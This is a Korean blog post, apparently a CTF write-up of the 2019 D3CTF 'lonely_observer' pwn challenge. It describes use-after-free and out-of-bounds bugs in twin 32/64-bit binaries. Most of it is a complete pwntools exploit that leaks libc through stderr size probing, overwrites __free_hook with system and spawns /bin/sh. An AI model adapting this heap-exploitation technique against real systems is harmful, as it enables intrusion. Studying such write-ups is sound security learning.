본문 바로가기

system/writeup

2019 d3ctf lonely_observer

2019 d3ctf lonely_observer

pipe https://12bme.tistory.com/226

d3ctf writeup https://www.anquanke.com/post/id/193939#h3-9

pipe를 이용한 IPC를 구현한 바이너리이다.

총 2개의 바이너리 mimic32, mimic64IPC 통신을 진행한다.

간단하게 lonely_observer 바이너리에서 각각의 thread로 입력, 출력을 받고 이를 출력해준다.

요로코롬 thread를 만들어서 각각의 바이너리를 관리한다.

그리고 밑에서 buf에 입력을 받아 mimic32, mimic64에 전달해준다.

근데 문제는 main_thread에서 memcmpmimic32, mimic64의 출력값을 비교한다.

출력값이 같지 않으면 handler가 호출되어 프로그램이 종료된다.

즉, 목표로 해야 할 점은 mimic32mimic64의 출력 값을 동일하게 하면서 동시에 쉘을 얻어내야 한다는 점이다.

mimic32mimic64는 비트만 다르지 내용은 똑같으므로 취약점을 간단하게 살펴보자.

delete 함수에서 oob, uaf가 발생한다.

또한, 특별한 점은 chunk를 관리하는 struct를 만들어 관리한다는 것이다.

size    |   &chunk

간단하게 위와 같은 식으로 chunk가 관리된다.

평소같았더라면 uaf가 발생하니 unsortedbin free를 이용하여 libc를 따고 shell을 얻을 수 있었을테지만 mimic32, mimic64의 출력이 똑같아야 하므로 불가능하다.

여기서, size를 이용하여 libc를 각각 유출시킬 수 있다.

stderr의 한 바이트식을 size로 인식시켜 몇 byte를 입력하면 입력이 완료되는지 각각 검사하는 것이다.

이를 통해 libc를 유출시키고 나면, 나머지는 __free_hooksystem으로 덮어 mimic32, mimic64 동시에 쉘을 얻어내면 된다.

from pwn import *
import time

#context.log_level= 'debug'

t64 = 0

if t64 == 1:
   e = ELF('mimic64')
   s = process('./mimic64')
elif t64 == 2:
   e = ELF('./mimic32')
   s = process('./mimic32')
else:
   e = ELF('./lonely_observer')
   s = process('./lonely_observer')

lib64 = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
lib32 = ELF('/lib/i386-linux-gnu/libc-2.23.so', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
sn = lambda x: s.send(x)

def menu(sel):
   sla('>>\n', sel)

def add(idx, size, data):
   menu('1')

   sla('>>\n', idx)

   sla('>>\n', size)

   sla('content:\n', data)

def delete(idx):
   menu('2')

   sla('>>\n', idx)

def view(idx):
   menu('3')

   sla('>>\n', idx)

def edit(idx, data):
   sla('>>','4')
   sla('index?', idx)
   sa('content:', data)

"""
e= ELF('./mimic32')
[*] '/home/ubuntu/pwn/d3ctf/observer/mimic32'
  Arch:     i386-32-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x8048000)
e= ELF('./mimic64')
[*] '/home/ubuntu/pwn/d3ctf/observer/mimic64'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
"""

time_start = time.time()

list64 = 0x602060
bss64 = 0x602060 + 0x10*0x30
list32 = 0x804b060
bss32 = 0x804b060 + 8*0x30

add('0', str(0x1), '123')
add('1', str(0x1), '123')
add('2', str(0x1), '123')
delete('0')
delete('1')
edit('1', '\x00')
add('3', str(0x10), p64(0x1000) + p64(list64+8*4)) # mimic64 list+32
delete('2')
edit('2', '\x00')
add('4', str(8), p32(0x1000)+p32(list32+4*8)) # mimic32 list+32
delete('2')
edit('2', '\x00')

lbase64 = 0

for idx in range(5, 0, -1):
   buf = p32(list32+4*10) + p32(list32+4*12)
   buf += p32(1) + p32(bss32) # 8
   buf += p32(0x100) + p32(bss32+0x100) # 9
   buf = buf.ljust(4*8, '\x00')

   buf += p64(0x602040+idx) + p64(list64+8*12)
   buf += p64(0) + p64(0) # 8
   buf += p64(0x100) + p64(0x602041+idx) # 9
   buf += '\n'

   sl('4')
   sla('index?', '0')
   sa('content:', buf)
   edit('9', '\x00'*7 + p64(bss64) + '\n')

   sla('>>', '4')
   sla('index?', '8')
   for sz in range(1, 256):
       #print('sz:'+str(sz))
       sn('5')
       if 'done!' in s.recvrepeat(0.1):
           lbase64 += sz << (idx*8)
           success(hex(sz))
           sl('5'*(0x100-sz)) # for mimic32
           break
       elif sz == 0xff:
           print("failed")
           exit(0)

lbase64 -= lib64.sym['_IO_2_1_stderr_'] & ~0xff
success('lbase64: {}'.format(hex(lbase64)))

lbase32 = 0
for idx in range(3, 0, -1):
   buf = p32(0x804b020+idx) + p32(list32+4*12)
   buf += p32(0) + p32(0) # 8
   buf += p32(0x100) + p32(0x804b021+idx) # 9
   buf = buf.ljust(4*8, '\x00')

   buf += p64(list64+8*10) + p64(list64+8*12)
   buf += p64(1) + p64(bss64) # 8
   buf += p64(0x100) + p64(bss64+0x100) # 9
   buf += '\n'
   sl('4')
   sla('index?', '0')
   sa('content:', buf)
   edit('9', '\x00'*3 + p32(bss32) + '\n')

   sla('>>', '4')
   sla('index?', '8')
   for sz in range(1, 256):
       #print('sz:'+str(sz))
       s.send('5')
       if 'done!' in s.recvrepeat(0.1):
           lbase32 += sz << (idx*8)
           success(hex(sz))
           sl('5'*(0x100-sz))
           break
       elif sz == 0xff:
           print("failed")
           exit(0)

lbase32 -= lib32.sym['_IO_2_1_stderr_']&~0xff

success('lbase64: {}'.format(hex(lbase64)))
success('lbase32: {}'.format(hex(lbase32)))

system32 = lbase32 + lib32.symbols['system']
system64 = lbase64 + lib64.symbols['system']
fhook32 = lbase32 + lib32.symbols['__free_hook']
fhook64 = lbase64 + lib64.symbols['__free_hook']

buf = p32(list32+4*10) + p32(list32+4*12)
buf += p32(0x4) + p32(fhook32) # 9
buf += p32(0x8) + p32(bss32) # 8
buf = buf.ljust(4*8, '\x00')

buf += p64(list64+8*10) + p64(list64+8*12)
buf += p64(0x4) + p64(bss64) # 8
buf += p64(0x8) + p64(fhook64) # 9
buf += '\n'

edit('0', buf)

edit('8', p32(system32))
edit('9', p64(system64))

add(str(0x20), str(0x8), "/bin/sh\x00")

delete(str(0x20))

io()

'system > writeup' 카테고리의 다른 글

pwnable.tw criticalheap  (0) 2019.12.21
pwnable.tw printable  (0) 2019.12.20
2019 d3ctf babyrop  (0) 2019.12.15
2019 d3ctf ezfile  (0) 2019.12.15
2019 holyshield babyheap  (0) 2019.12.04